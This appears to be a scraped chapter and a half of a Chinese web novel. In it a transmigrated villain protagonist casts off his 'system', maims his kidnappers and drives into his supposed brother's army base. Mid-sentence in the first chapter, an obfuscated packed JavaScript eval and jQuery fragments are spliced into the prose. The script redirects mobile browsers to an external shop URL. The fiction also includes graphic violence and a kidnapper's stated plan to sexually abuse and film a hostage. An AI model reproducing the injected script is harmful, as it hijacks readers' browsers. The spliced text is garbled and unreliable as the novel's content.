《恶役反派杀穿修罗场[快穿]》
1. 元首的蓝宝石01
【你是北区管辖军——苏家的假少爷,苏洛。】
【十七年前,一场意外让你与苏家真少爷换错】
【你生性孤僻多疑,双亲早逝缺爱,令你与唯一的亲人兄长关系疏远,但你已与名将之子弗雷泽定婚,未来可谓一片光明。】
【然而今天发生了一场绑架,你将会重伤从而让苏家人发现真相。】
【今后家族虽待你如初,却暗中着手找寻真少爷——谢云哲的下落,将他接回来正名。】
【在同龄人中,谢云哲才能出众品德优良,深得家中长辈喜爱,同辈也更亲近他。】
【出于嫉妒和对失去地位的恐惧,你处处针对打压真少爷,最终引发众怒,被扫地出门……】
文字经甜美嗓音朗读,回荡脑海引得耳根酥麻。
当下,唯一的听者眼皮微动,意识如沙聚拢。
那声音顿时提高八个度,活力四溢。
【你好呀,宿主苏罗,你是我选中的第777位宿主哟~今后我们要互相帮助扶持,一起努力完成任务,会有积分和奖励哒!】
车身剧烈颠簸,即使已被吵醒,苏罗仍紧闭双眼。
他放缓并加深呼吸,如啮齿动物钻出洞口试探辨析。
香烟,药剂,燃料,冷冻液,气味分子流经鼻腔,向他全盘展示周遭的环境信息。
他在一辆功能车的后置厢,约二十平的空间添置了高档的医疗设备,但环境又脏又乱,地上还淌着褐色污水。
【宿主苏罗,你好呀!】
声音再次出现。
【我是系统7号,你可以叫我小七七,七崽,阿七——】
【继续说。】
青年以意识与系统对话,熟稔而自然,参杂着点不耐烦。
【我能知道的,全告诉我。】
【系统7:收到,可爱小七倾情为您服务。只要宿主好好完成任务,我什么都会帮您的!】
小精灵般的存在欢呼着。
不同刚才的意识交互,苏罗脑中仿佛架起一道屏幕直连思维。
他像坐在影院前排,近距离观看一部电影。
意外交换的两个孩子,颠倒错位的两段人生,再有那剪不断理还乱的爱情亲情纠葛。
苏罗暗暗嗤笑。
真是老套的情节。
但故事再烂俗也离不了人事物的背景构架,而他所见的舞台就位于新纪元后的落寞世纪。
名为索拉的一颗星球上云集各方势力,小国结成联盟,大国盘踞中心,赏金猎人、跳虫游民、星盗等民间组织又流窜其中,全体共同维系着一种暂时的平衡。
而人类这一大集合,则按体征划分alpha、beta、omega。
在那位血红王没问世以前,世界是如此运转的。
十九岁加冕,二十五岁统一全区包括语言,到三十七岁他找出一种能改造全人类的途径,彻底颠覆这颗星球乃至自然法则。
他亲手建立旧世代里最强盛,也是最后的星球帝国——伊克利普斯,此后花费二十余载实现惊天巨变。
蓝月能源——由血红王发现并耗费巨资研究的神之密钥,它可被人吸收并重构身体。
除了强化肉|身,它还能使腺体转化为另一种另类感知器,全面压抑本能。
这类重构不仅对alpha、omega有用,从前基数庞大的beta群体如果注射,照样可获得脱胎换骨的进化。
用‘蓝月’改造的副作用极小,成功率高,结果差异只在自身而非群体。
若它成功全面推行,可谓是一次真正的历史改写。
苏罗微扯嘴角,不禁冷笑。
真遗憾,还是失败了。
血红王在‘蓝月计划’前遭到暗杀,享年五十九岁,甚至没到当时的人均自然死亡年龄,他的表兄伊森继承他的位置。
二代国王是一名统帅,颇受百姓爱戴,大部分成员国也愿意拥护他继位。
然而失控的大混斗给全球带来致命性打击,人类科技倒退百年,间接动摇统治者的根基。
面对死局,新王苦守七年还是签订了解体协议,即保留王位分割权力。
自那时起,实际掌权的为普莱德家族。
他们是综合实力最强的王族旧臣,多年来一直镇守首都,等下一个‘血红王’问世。
【噢?真的吗?我不信。】
仿佛为印证苏罗的戏谑,他马上补全自己的身份背景。
以保护为由,普莱德家实则一点点拆解着旧王族后裔,将其血脉移至权力中心外。
过去三四代后,多数知情者离世,新生代里已无人再追念那昨日的光辉,那未完的愿景。
曾是血红王后裔分支之一的苏家便是如此。
如今,苏家现继承人苏霆率领着一支军队驻守北边防线,从未回过首都。
该地不止天气恶劣,境外悍匪侵扰,境内又民不聊生。
这斯卡蒂山脉就像悬崖上摇摇欲坠的危楼,只怕风雨再大一些,整座大厦便会轰然垮塌。
【系统7:这些宿主您不用操心,您的任务是等绑匪过来拷打您,逼问您北线能源矿场的位置,可您并不知道哦。】
【系统7:您要是怕痛的话,小七为您争取一下,提前兑换屏蔽痛感道具。】
装昏的苏罗来了兴致。
【这么说,你还有其他道具和功能?】
【系统7:是呀,都很便利哦,像是颜值提升器、魅力值显示器、指向性读心器,只有宿主您所处情形满足条件的时候才提供哦,否则无法申请,所以咱们一起加油吧,努力赚积分!】
车减速停下,闸门缓缓抬高,闯入一片剪裁成方形的光。
【系统7:来了来了!宿主做好准备,坏蛋们要进来了!】
苏罗平躺着,透过两眼缝隙窥探。
来者一共三名,为首的男人个高健壮脚步沉稳,另两人紧随其后,配有重型枪械。
“噢,原来还没醒啊,真是不知民间疾苦的小少爷。”
臭味烟味混杂,凝成一股瘴气,那两人将苏罗拽下床,迫使他双腿跪地。
一柄短刀抵上脖颈,一支枪口顶着前胸,此外苏罗还感受到眉心的不妙热度。
他睁眼,入目是张神似雄狮的脸,鼻宽眼长。
这是拿烟烫他的劫匪。
与他对视后男人没收手,反而加重力道碾灭烟头退开。
据记忆判断,这是绑架‘苏洛’的主谋之一,北边境界线的匪徒,代号狮鹫。
“小少爷,我们走得急招待不周,您可千万别介意。”
狮鹫笑眯眯弯腰,靠向他但保持半臂距离。
“其实我请您来并不想伤害您,只是您的兄长,您家的军队,他们实在伤透我们的心。世道艰难,我们平头老百姓就想混口饭吃,怎么被打成要赶尽杀绝的罪犯了?您觉得呢?”
风灌入车厢,扯动着白烟也拂起那跪地青年的发丝。
生为omega的他未满十八岁,没经过蓝月改造,被三名魁梧alpha包围着仿佛一只鹌鹑。
面对提问,他始终垂首,噤若寒蝉。
“我三十六名兄弟全死在你大哥手下,两个月前,我们的首领差点给他害得瞎一只眼,可我们做了什么?我们只不过是偷了一点点粮食。”
狮鹫痛心疾首,捂上胸口。
“您别看我现在落魄,其实入兵团前我还是个体面绅士呢,我说服我的兄弟们停战,但应得的赔偿,我们总有资格要吧?”
话说到这,明眼人早有所领会,可狮鹫面前的青年一动不动。
于是他蹲下,毒辣目光审着这张比纸白的脸。
“我就借一点点的能源,然后带兄弟们远走高飞,绝不再打扰您和您家族的安宁。您看,这笔买卖如何?”
“你认真的吗?”青年终于开口,抬眼眉梢一扬,笑得刺眼,“雪泥烟?”
愣神数秒,狮鹫脸色一沉。
地势偏远野兽泛滥,常年暴雪不适耕种,上述几点造就斯卡蒂山物资极度匮乏的现状。
富裕家庭不愁衣食更不缺烟酒消费,但对大部分贫穷的烟民来说,一种采自雪地的野草就是最佳替代物。
“你什么意思?笑话我?”
狮鹫撕去和善假面,发狠抓过苏罗头发。
近距离嗅着焦臭味,苏罗哧哧笑得更欢快了。
他由上到下,缓慢地检视对方,仿佛在掂量一块砧板上的肉。
他紧接着解释道。
“不,我只是笑你到底是真自豪还是假撑场,竟然如此廉价,还说别看你现在落魄?你怕不是一直如此吧,凭你带领的部队,就算拿到能源块也只会像野猴子乱啃乱扔,或者拿来擦屁股。”
霎时间,狮鹫凶光毕露,他沉默着抬起一手,让挟持苏罗的部下退开。
这可不是好事。
【系统7:干得好宿主!挑衅他们,激怒他们!】
系统欢呼雀跃,同时安慰般地保证。
【系统7:您尽管放心宿主!我已经申请痛感屏蔽啦,虽然只是最低等级的,还会有一点点痛啦。请您说声‘确认’。】
【哦,多谢,那接下来我要怎么获救?】
系统不介意苏罗敷衍的接话,高兴回答。
【系统7:最快一到两天,苏家的人就会追到坏蛋们,来解救您啦,在此期间努力忍一忍——】
【但如果我想出去呢?就现在。】
忽然被打断,系统疑惑地咦了一声。
【系统7:宿主,逃跑不做任务的话,您会受到惩罚哒,很可怕——】
【被谁惩罚?你说清楚。】
二次被打断,系统语气更可怜了。
【系统7:嗯、这个我也不知道啦,我只听说那很可怕,大概就像你们常说的下地狱十八层,被恶鬼扒皮吃肉的那种痛苦。所以您千万要按任务——】
【好,我明白了。】
苏罗连着三次无礼截话,好在这回他态度不错。
可似乎,这并非他愿意配合的前兆。
【我能知道的,你已经说完了,对吧?】
狮鹫已抽出后腰的T型棍,苏罗不慌不忙还在内心发言。
【啊,抱歉,我应该说‘你被允许告诉我的’已经说完了。】
【系统7:嗯?宿主您是什么意思呀?】
暴徒高举右手,甩动长棍落下一道弧形轨迹,苏罗却不逃也不躲。
他咬着牙,结血痂的一边嘴角略微吊起,辨不明是忍在痛还是在笑。
但若这是笑容,那未免也太狰狞阴狠,与他的受害者身份相悖。
不过,这倒是符合他对系统回的话相符。
【我的意思是——你,对我来说已经没用了,滚吧蠢货。】
匪徒手起手落,棍尖破空划出簌音,以一声惨烈钝响收尾。
可是,触感不对。
坚硬还反震,他砸中的分明是车厢地板。
狮鹫不敢置信,然而视觉已映入真实画面。
第一下,弱不禁风的青年跪着下腰,头颅顶地。
第二秒,他刚好在被击中顺势滑开半米。
瞬息间的变故太快,狮鹫的大脑唯有记录功能尽职运作。
而以此逃脱一击,苏罗调整双腿姿势站起,径直撞开右边的匪徒。
他目标清晰,并非逃生出口,乃是摆在桌边没收好的短刀。
狮鹫破声大喊。
“快!拦住他这不要命的——”
喝止已然太迟,划破颈动脉的苏罗顿时血流如注。
他身子一歪,倒得干脆,完美避开伤口也避开地上的污秽物。
“这兔崽子想死!你们愣着干什么,快止血!”
“要怎么做啊老大?”
“啰嗦什么,快抬上治疗床,开自动模式。妈的、白给他浪费能源了……”
三名匪徒手忙脚乱,紧急抢救着本就打算‘撕票’的人质。
——苏家小少爷宁死也不愿透露家族掌握的能源场位置,不愿成为人质
当下,他们的想法与另一名尖叫的同道中人达成一致。
【系统7:血!宿主你流了好多血!痛感屏蔽还没开启呢呜呜呜,好痛的!】
[警告:生命体可检测到生命值 45%]
【系统7:您这样万一坚持不到人来救怎么办啊!怎么办怎么办!您怎么能这么冲动!】
[警告:生命体可检测到生命值 15%]
……
匪徒怒骂,系统哀哭,另一种冷漠的警报穿插其中。
听着这首糟糕合唱,视野发白的苏罗却是异常平静。
还有十秒。
他攥紧双拳,暗中配合劫匪的搀扶平躺进治疗床,全身接上细微的传导线。
床形如蚕茧,舱室内盛满莹绿色的胶质溶液。这是浓度为百分之二的‘蓝月’药剂,触及到伤口的瞬间就帮他止血。
可他的心跳还是渐渐衰弱下来。
九,八,七……
治疗床内闪烁着红蓝交替的光,苏罗开始丧失身体的知觉。
六,五,四……
在走向死亡的同时,苏罗的意志或该说他的灵魂却与迅速枯萎的生命力相反,高亢如同火山复苏,中心巨响震天,黑烟岩浆喷涌。
三,二,一。
仪器显示心跳呼吸停止,劫匪的抢救仍乱作一团,苏罗则如愿脱离现实,变成‘幽灵’兀立当中。
场景像蒙上一层黑纱,阴影笼罩每个角落,吞噬所有声音,包括刺耳的系统嚎哭。
一切归于寂静。
环伺之下,苏罗嘲弄道。
“知道我能靠自己出来,逃得倒是快。那我没办法,只能等下一次了。”
他活动筋骨,余光有几秒瞥向自己濒死的肉|体。
径直穿过几名劫匪,他像团空气飘到苏洛旁边。
“身体被夺走你不服气吗?不过先动手的不是我,是刚才灰溜溜逃走的丧家犬。”
他语气全然不是怜悯,是倨傲而又宽容,高高在上得令人生厌。
“不过,你理应感到自豪。”
如果‘苏洛’还有原本意识,他或许会追问一句为什么。
苏罗高举右手作刃,对向自己胸膛。
在他蓄力准备劈下的一刻,他与‘尸体’同时有了变化。
空壳苏洛挺身,电光火石间向他刺出右手,目标也是他的心口。
然而这场偷袭失败了。
苏罗藏于身后的左手一握,正好扼住‘苏洛’的手腕。
“好久不见啊,亲爱的系统7号。”
在他这枚幽魂眼里,偷袭他的苏洛也非真实肉||体,而是一道混杂的灰质剪影。
人之影,影之人,两者共同落入生死缝隙,厮杀一触即发。
稍作更正,是苏罗单方面的厮杀。
他拗断虚影右手如同掰开菜叶,那影子无血无肉,伤处的断面立马散出灰色颗粒。
没料到攻击竟有效,灰影顿时呆住,给了他控制左臂欺身而上的机会。
“为什么你们要应该自豪?”
苏罗咧着嘴,残虐神色与狮鹫对峙时如出一辙。
“因为你们会成为我的脚下尘土而名垂千古,感谢我吧,这是别人求之不得的机会……”
骨骼扭转,身躯撕裂,伴着这些异响的苏罗自问自答,片片拆解灰影。
“……治疗进度完成百分之百,已完全愈合脱离生命危险,请确认对象是否需要移出舱室。”
现实里,治疗仪器发出提示,狮鹫长舒一口气。
保住人质就是持有谈判筹码,安心的他分别踢了俩帮手一脚。
“给我看牢他,手脚绑起来,捆牢点。”
两名部下喘着气,连忙腾开位置翻找镣铐。
中途一人不小心碰开气窗,驾驶室的声音顿时飘了进来。
嗯嗯啊啊引人遐想的呻|吟,清晰到仿佛是现场模拟。
狮鹫眼皮一跳,猛踢隔板。
“帕格你这蠢货淫|脑袋,开车看什么片子,给我认真收听广播消息!”
名为帕格的司机不怕叱责,习以为常地调小音量,谄媚道。
“别生气嘛,二当家,我确认过了,他们还没发布追缉指令。估计都没发现这小子被我们绑了。”
帕格说着切换音频,调到斯卡蒂的第一频道也是北边要塞的官方电台。
除了播报天气和音乐,每当本地发生战事或有紧急指令都通过第一频道传到百姓家里。
当下,广播正放着舒缓的钢琴曲。
“您看,我就说吧。”
“别大意了,那个苏霆狡猾得很。指不定和上次一样是佯攻。”
提起前次败绩,狮鹫恨得牙痒痒。
“别气嘛二当家,这回您英明神武抓了人家亲弟,就算他们不愿交易,也能再挫一挫锐气。”帕格小指剔着牙缝道,“堂堂边境大将军竟然连自己的弟弟都保护不了,任他受人凌辱示众,凄惨视频满天飞。”
“噢?我什么时候说要给那小少爷拍视频放出去了?”狮鹫明知故问地笑。
“这光荣任务,当然就交给我啦!”
帕格眼冒精光,他操作拉杆减速,以免在雪山上转弯打滑。
“怎么说也是娇生惯养,细皮嫩肉的小omega,还是没转化过的,稍微捏一捏都能留印子,我的小宝贝们终于能派上用场了……”
帕格说得眉飞色舞,狮鹫默默在后倾听。
他对帕格的奇怪癖好有所了解,也能想象到那些事后录影传遍全区,乃至全国上下后苏家的反应。
那一定相当精彩。
正沉浸于复仇幻想,狮鹫忽然后颈发凉,缩了缩肩。
视线一偏,他瞥见金属板上的影子。
他认出自己的头型,辨出倒影里他僵掉的脸。
以及不知何时出现在他身后,对他微笑的苏家小少爷。
他从头到脚一瞬冻结。
人类的微笑一向是友好的体现,可这张青涩脸庞上的笑只有一种席卷世界狂气。
这是在后脑被人摁住,鼻梁撞上挡板前狮鹫的最后想法。
“对了,二当家你知道吗,你们刚绑人前我瞧了一眼,嗬!我发现这小少爷不仅体型是最佳的,长得也是我爱的那挂。”
喋喋不休的帕格忽然收声,狐疑竖起耳朵。
后面怎么安静了?
帕格又调小音量,回头只见气窗紧闭,看着是锁了。
“二当家?喂喂喂,有人在吗?你们别不等我就开始啊!”
后方始终沉寂,帕格心里一急,连忙停车跳下驾驶座。
“二当家!你可千万别又打死他,赎金我们还没——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176263|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
绕到后方的男人脸色骤变。
后置厢门敞开着,恰好露出一只无力的手。
手臂卡住门,缝隙宽度刚好能让他能看清里面情形。
两名同伴扑倒在地,生死不明,他们的随身武器以恐怖的角度弯折,静静插在他们脑袋边上。
还有一人跪在金属隔板前,身体软绵绵地弯折。
若在清醒时保持这种折叠姿态,正常人早大呼小叫了。
“二当家?”
通过身形轮廓认出人,帕格惊惧不已。
他不敢说狮鹫有以一当百的威猛,但对付一个手不能提的小少爷绰绰有余。
难道是苏霆带兵追过来了?
帕格脑子转得飞快,当机立断合上车厢门,脚下抹油跑回驾驶位。
他锁住全车进出口,提升三倍速前进。
即使坏结果在心里打鼓,他仍不断调整着电台,试图找到哪怕一点能推翻自己的证据。
跳过天气预报,切掉美食节目,他多次绕回联区新闻联播,最后调到本地主电台。
“……那么,亲爱的听众们,欢迎来到最后的点歌环节,今天的第一首歌是由匿名观众S先生点播的《蠢货们,打什么劫,找个班上吧》,他祝福语是:地狱也不收蠢货闲人。”
奋力逃亡的帕格不禁咋舌。
无论是这歌名还是点播人的奇葩发言,都像现在的局势一样匪夷所思。
窗外风景如流星向后疾驰,他强忍不安咒骂一声。
“啧,都是什么狗屁玩意儿!”
“怎么了,这个见面礼作为狗屁玩意的你不满意吗?”
陌生声音来自上方,腔调轻快,措辞讥讽。
帕格心脏仿佛一停,灵魂出窍了几秒。
抬头这一简单寻常的动作,忽然变得无比艰难。
他终归是缓缓向上看去。
如毒蜘蛛撑在天花板的青年,他面色惨白,衣襟染血,活像恐怖故事里的幽灵,在最意想不到的节点出现。
音乐声起,疾驰的雪行车忽然一歪,失控地轧出道道印痕。
它留下的车辙乱而狰狞,片刻后又朝固定方向延伸,像极了一个人的垂死挣扎。
一曲终了车终于刹住,女播音员也接话道。
“好的,感谢大家收听《蠢货们,打什么劫,找个班上吧》,真是一首有趣的歌啊,极具后现代风格。接下来还是由S先生续播的《害群之马》。”
广播传出男吟唱,重复的低音呼声唤醒鼓点,它们一起由慢及快,由弱增强。
“争风吃醋的情人们把我轮番挽留,母亲给的手|枪能随时结果对手……”
当迷人的烟嗓女声续上鼓点,雪行车猛然启动调头,让车胎发出刺耳尖叫。
作为新手司机,驾驶座上苏罗胸有成竹,第一次操作就能麻利地开大音量调出地图。
歌曲还在继续。
“我用烈酒混合砂砾铺路,不幸倒下我也自甘其苦。”
“我生来放肆作乱,从不低头讨巧……”
斯卡蒂山脉有两座高度相当的主峰,它们遥遥相对,各自坐镇两侧,山路蜿蜒崎岖,呈现在多维地图上就是蛇的形状。
东边山脚正是北边防线,军队围着高峰也围着生活艰苦的百姓。
而北区管辖军,即苏家的阵营就坐镇在这,目前的统帅是苏洛名义上的大哥苏霆。
军营苏洛只去过一次,十几年间见苏霆的次数寥寥无几。
按系统7给的信息,苏霆得知弟弟被掳并展开救援已是两天后。
那时的苏洛受尽折磨,更因错过最佳治疗期导致下身瘫痪。
当然,现在苏洛的肉|体情况也不乐观。
他的致命伤及时愈合,可内部的神经血管等微小构造却不稳固,随时可能崩裂。
那狮鹫抢救他时又给他注射了一种植物毒素,若不及时清除就会损毁脊髓神经。
苏罗揉着麻木的肩颈,在仪器上输入位点。
他要这副重伤的容器在未来发挥最大机能,只有一处满足治疗条件。
“目的地已确定,预计抵达时间一小时二十五分,现在时间为下午三点零七分。”
“不用那么久,我的话十分钟就够了。”
他低笑着反驳智能助手,启用了连帕格都不敢尝试的极限模式。
提速瞬间,重达五吨的装载车犹如卸下所有桎梏,它抛弃了冗杂零件,置安危于不顾,像头疯兽漂移而去。
它没有驾驶在山路上,而是在无人问津的山林冻土上滑行,奏出一阵阵巨响轰鸣。
车厢内,激昂的歌声也彻底占领空间。
“每个人都在随波而行,我却说不。每个人都在顺从世俗,我不在乎。”
“是的,我就是那害群之马。”
“是的,我就是那猖狂恶徒……”
到底什么人才会在大众情感电台点这种歌?
北区军营,一号训练场的休息室,一群休息中的新兵安静围坐。
他们表情各异,沉默着直至狂野旋律终止。
“前首死亡金属,后面又是嘻哈摇滚,感觉这点播人像个黄毛小孩啊,满脑子的我能征服世界。”
有人笑着打破寂静,引来几声附和。
“年轻嘛,都是这样无法无天的。”
“我十三四岁的时候比这更夸张,竟然觉得自己能打赢苏元帅。”
“那你真的是痴人说梦,苏元帅没进行蓝月重构前就是最强的了,当时的基础腕力少说两百公斤吧,上次我亲眼看他抬起战车一角,那可是有一吨重啊……”
他们聊得正欢,奇怪的震动和警笛声突然掐断讨论。
“有入侵者?”
“不,好像是外墙被毁了,警报声不一样的。”
“仔细听啊,明明是第三种警铃。”
惊疑声四起,所有士兵一涌而出冲向基地正门。
只见基地外墙破了一个大洞,犹如被巨兽咬下一口,散落满地残块。
‘巨兽’即那辆灰色雪行车也不乐观,它半边陷入第二护墙,车身散发滚滚浓烟,遍布弹孔和挫痕。
想来是在冲破营地防线时被围攻了。
防御组早已整装待发,层层围住不明车辆。
袭击发生于三点三十七分,两分钟后元帅苏霆赶到现场。
“元帅,我们试图沟通过,里面一直没回应。根据探测确定没有爆|炸性|武|器,能查到五个生命体,但看情况是大部分都失去了意识。”值岗的中士跟在一旁汇报。
苏霆人如其名,容颜俊朗肃正,行步无声却如雷霆神子威慑四周。
他先瞥一眼变形的雪行车,接着观察数秒扫描仪的画面。
“这四个已失去行动能力,全身体温较低,导致受伤部位很明显。”他一一指出位置,指尖点在最后的驾驶座。
那是车中唯一清醒的人,好整以暇地翘着二郎腿。
貌似还在剔手指甲?
见过各种风浪,对付过无数亡命徒和复仇者,苏霆不得不承认此等怪事他也是头一次见。
于是他稍作调整,站到阵队最前交涉。
“这里是北区管辖军第一片区,我是苏霆,你们现在已在我军全面管控下,请配合卸掉所有武器和金属器具,举双手面朝我们下车。”
苏霆按流程劝降,一个人影突然间弹飞出来,落地后咕噜噜滚动。
若不是他抬手制止,对方差点被士兵们打成筛子。
众人定睛一看,顿时咋舌。
地上的男人全身赤|裸满脸鲜血,手脚还被裤子绑着,属实凄惨。
变故令全员紧绷,苏霆微微放低重心,做好正面迎战的准备。
可令他意想不到的事又发生了。
第二人接着慢悠悠走出车门,配合地高举双手。
那张脸和声音叫苏霆难以置信。
“苏霆,我的好长兄啊,在这里碰见你真是奇遇。”
苏罗弯起嘴角,尽量表现得礼貌。
如他计算的一样,他全程飙车又冒着枪火撞进营地,他的体力跟车都刚好到极限。
他晃了晃身单膝跪地,支撑着到苏霆赶来。
“失血过多,三根肋骨骨折,被注射神经毒素,右脚踝外侧韧带损伤,右手拇指指骨错位。要想我赔修补费,劳烦先救你的便宜弟弟一命吧,兄长。”
一口气报完伤势,苏罗不等对方反应就拽过人的衣领。
因为出乎意料也没设防,苏霆蹲下时被这么一拉,险些撞到青年脑门。
这份力道,很不寻常。
虽然对方有意压制也因虚弱而体力减半,其中的蛮劲实在超乎想象。
苏霆迅速回神,心下一凛。
这个人在对他笑着。
像头摩拳擦掌的凶兽对他笑着。
他不经常,或该说基本不管这个差他十二岁的弟弟,但据他家中的心腹反馈,苏洛绝不是能做出这种行为,能露出这种笑容的人。
仿佛被那意味深长的笑烫了一下,苏霆少有地愣住。
因为晕倒在他怀里之前,青年压低声线,用只有他们能听见的音量轻语。
“治疗我之前先验一下我的血吧,苏霆元帅。作为交换,今后我会赠予你超过你那贫瘠大脑所能想象到的至高回礼。”
“未来的你会对我感恩戴德的。”
2. 元首的蓝宝石02
“是的,元帅。他不是您的亲兄弟。”
“啊抱歉,我再更正一下,是他与您以及您的家族毫无血缘关系。”
听筒里的声音像过了水忽远忽近,朦胧不清。
时值深夜,苏霆在议事厅的密室得知了一个‘缓冲弹消息’。
投放之初毫无波澜,静得如同晴日湖面。
但等它沉至湖底,触碰到坚硬水石,那爆炸掀起的气浪与余波却是撼天动地。
“宇飞,你是说苏洛不是我们家,不是我父母的……”
苏霆双手交错抵着唇,两肘既撑住桌面也撑起他嗡嗡响的脑袋。
“毋庸置疑,苏元帅,我猜想调换的起因应该是当年那场挟持事故。幸好你提前交代我保密,目前只有我和医疗组知道。”
“这种时候就不要奉承我了。”苏霆皱眉靠向椅背。
先是苏家人在军队眼皮底下被掳,接着是存在感低的小少爷强闯营地,最后又发现小少爷是抱错的孩子。
无论哪一件单独摘出来都足以在紧绷的北区引发震荡。
“对了,那四名劫匪的调查报告也出来了。”副手季宇飞继续汇报着。
由于绑匪尚在治疗,审问一环只能搁置,加之雪行车的记录仪损坏,他们只能着手于现场线索还原实情。
苏洛被绑走又驾车撞进军营的这段时间里发生了什么——这才是他们最迫切想要知道的。
“我们的老熟人狮鹫伤得最重,目前还在抢救,丧命倒不至于,他手脚可能保不住了。”季宇飞顿了顿,接着道,“他身上有一处地方我有点在意。”
苏霆点点头:“额头是么。”
“正是。”
按他们军队的话来形容,这四名劫匪的伤其实很干净。
干净并非整洁不见血,而是下手干脆又无比精确。
下手的人就是奔着使他们失去行动力,乃至终生残废去的。
用力稍微轻一点或重一点,完全达不到效果,绝非胡乱殴打。
但四人之中,唯独狮鹫眉心的小血洞像被谁用尖锐物体反复钻动,留下一个几乎深入头盖骨的印痕。
和其余部位对比,这伤古怪极了。
“令弟,哦不,那名身份未明的嫌犯前额有轻微烫伤。他有经过一次治疗,技术组复原了部分记录,我们刚刚查到。”
另一边的季宇飞又报出消息,答案显而易见。
狮鹫的眉心洞,是苏洛的‘加倍奉还’。
季宇飞陷入迟疑,翻着满桌档案嘀咕。
“难道真是他做的?这怎么可能,虽然他申请过参与我们的蓝月重构,但因为体能弱势被我们用年龄不足长期拒绝。他怎么会突然……”
副手受困海量信息,苏霆起身,下定决心道。
“你们的调查继续进行,尽量避人耳目。我去见他。”
“啊?”季宇飞深感震惊,“您要当面问他?”
尽管事态严重且危及苏家信誉,但好歹对方是个伤员,也同样蒙在鼓里以‘苏洛少爷’的身份活了十七年。
直接面对面施压也太残酷了。
“是,我要当面问他。”
苏元帅的嗓音在季宇飞听来颇有些不近人情,他正欲劝说,岂料对方的下一句就打消了他的念头。
“因为就是他本人要求我调查血样的。宇飞,说明他已知晓实情,并且不怕我们发现。”
眼前闪回那鲜明恶劣的笑靥,苏霆深吸气,断言道。
“不,应该说,他巴不得暴|露出来让我知道。”
季宇飞错愕不已。
那家伙的脑袋里到底装了什么?
翌日上午,北区军营的疗养中心,一伙医护人员也和季宇飞思考着相同问题。
“给元帅的家眷吃这些东西,这就是你们的待客之道?退回去,按我说的重做。”
经过一天一夜最高级别的专业治疗,苏罗外伤痊愈毒素也排干净,仅需慢慢调养。
而他刚睁眼就对见到的人呼来喝去,勒令院方把他换到单间的高档病房。即便以他的伤势没必要调,也无需久住。
现在,他又要求护士给他送水果和新鲜食物。
“可苏洛少爷,那些是宝贵的存粮,是要……”
年轻护士低着头,吞吞吐吐劝说。
“要给重伤的短命鬼吃?他们还能吃得进去么。”苏罗冷不防接话,吓得小护士脸直接白了。
见她不吭声,苏罗嗤笑着往后一靠,双手垫着脑袋。
“我这个人呢,计算不太好。加减乘除我都嫌烦,所以只喜欢做大小数的判断题,因为只有一个步骤,那就是比较。”
护士愣愣地抬眼,不明其意。
苏罗身子一侧,拿过床头柜上随餐发的苹果和牛奶。
“哪边利益高,哪边又分文不值,只要两个东西放在一起比较价值就一目了然,对吧?”
“嗯,在斯卡蒂新鲜蔬果很贵的,价格要比首都高三倍不止呢。”小护士点头应着。
苏罗啧了一声,高高抛起苹果又接住。
“笨蛋女人,我说的价值才不是钱这种骗人用的廉价产物。”
莫名被扣上笨蛋头衔,护士心里更不是滋味。
她尊敬苏霆元帅,也拥护一直守着山脉防线的北区管辖军,初次听说元帅的弟弟,即苏洛少爷被贼人掳走受伤时,她也心生同情。
坊间有传言,这位苏洛少爷还在襁褓中时就和父母,也即上一任元帅、副帅同时遇袭,因此身体落下病根,常年郁郁寡欢。
可现在呢?
这毛头小子不仅对救了自己的人没有半点感激,甚至还用地位打压使唤人。
真是差劲极了。
“我这边认真和你说话,你却走神说我坏话。喂,你不觉得你有点过分吗?”
苏罗语出惊人,护士心一惊连忙鞠躬。
“不好意思,我、因为我还有其他病人要照顾,一不留神开小差了——”
“行了,不必跟我找借口。你若能把揣测埋怨我的时间用在更具价值的事物上,你也不会一直是个笨蛋。”
“对、对对不起,您说得对。”护士把头埋得更低。
“把你结巴的时间也用对地方吧,小笨蛋。”
苏罗又轻嗤一声,歪着脑袋笑得像个轻浮公子哥。
苹果被他上下抛接,砸在掌中的动静像小锤敲击颅骨,本能的让人抵触。
“那照这么说,你是有什么正当理由一直当一个坐享其成的苏洛少爷吗?”
走廊传来苏霆低沉的声音,他跨进病房,象征性地敲了两下门。
小护士鞠躬行礼,他即刻抬手示意。
“辛苦你照顾他了,先去忙你其余的工作吧,这边有我。”
护士脸色微红满眼感激,端起弯盘就走,还贴心地关上门。
目送她离去,苏罗不禁朝苏霆吹了声口哨。
“真是绅士啊,难道你对她有意思吗,兄长大人。你现在正值适婚年龄吧,有特别喜欢的类型吗?床上床下都分别讲讲呗,说不定我能帮你介绍一个最适配的。”
青年身穿浅蓝病号服,若无其事地对自己开玩笑,就像正常亲密兄弟或交情不菲的损友。
面对这幅光景,苏霆始终不言。
他背着手,缓步来到床边。
房中两人一站一坐身量相差巨大,理应是苏霆的气势占据上风。
然而在他的阴影下,苏罗抛着苹果,好不悠闲自在。
安静半分钟,苏罗自己翻身坐进轮椅里。
“难得兄长你百忙之中抽空来探望我,趁着这好天气,你带我下楼散个步吧。就当作是弟弟受伤后的任性撒娇,如何?”
话虽如此,他撑着扶手眼神轻慢,这模样可不是一个爱撒娇的弟弟。
苏霆沉默应下,推着轮椅动身。
路径由他选,尽量远离人群聚集的地方,从十楼到四楼直接选了外间曲廊,而非便捷的直达电梯。
图僻静是次要,让他有时间充分观察才是主要目的。
而他的观察对象一直安分坐着。
双手搁在腿上,压住厚实毛毯,青年是完全放松的状态。
偶尔遇到职员和病患,他们向苏霆敬礼问好,他则陪着微笑点头,俨然一个在长兄面前腼腆的乖宝宝。
绝不出挑,也不耍横,表现得恰到好处。
这倒是又让苏霆大开眼界。
为青年几乎完美的演技。
要不是他昨天亲眼见过对方不一样的危险表情,他此刻还真信了这层文静外壳,甚至会反思他过去的疏于关心。
轮子骨碌碌地响,在斜坡底端卡点轻撞一下,微微弹起。
两人到达了目的地——疗养中心的露天花园。
